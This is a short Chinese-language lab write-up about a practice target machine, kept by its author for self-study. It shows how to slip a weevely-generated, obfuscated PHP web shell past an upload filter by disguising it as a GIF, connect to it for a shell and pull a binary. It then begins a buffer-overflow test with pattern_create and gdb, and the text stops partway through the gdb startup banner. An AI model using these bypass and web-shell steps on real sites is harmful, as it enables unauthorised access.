这台靶机文章
暂时只记录上传和linux 缓冲区考点。。。。留我自己学习和记录
上传这里检测的挺严的。。。system passthru这些函数都能检测,即便是改文件为图片,加gif89在开头都没用。。。
这个时候用weevely很方便,加密了php函数代码。
创建go.php 然后密码是666.再把这个php文件改为gif文件
weevely generate 666 go.php
mv go.php go.gif
开头还是加GIF89a
再检测不出来了。。
看源代码,上传的文件被重新命名为一串数字了
知道了传的路径,再拿weevely连
完整的路径后面,带上自己的密码。ok拿到shell。这个上传绕过手法方便好用。。
这是从weevely下载靶机文件的命令。。
file_download /usr/local/bin/agent /root/agent
再看看这台靶机的缓冲区溢出
ltrace ./agent 随便输入会显示真id,成功进入。第3个选项可以缓冲区溢出
先测崩溃点,试试200
C:\root> /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
开gdb-peda
输入生成的200字符
C:\root> gdb ./agent
GNU gdb (Debian 9.1-3) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For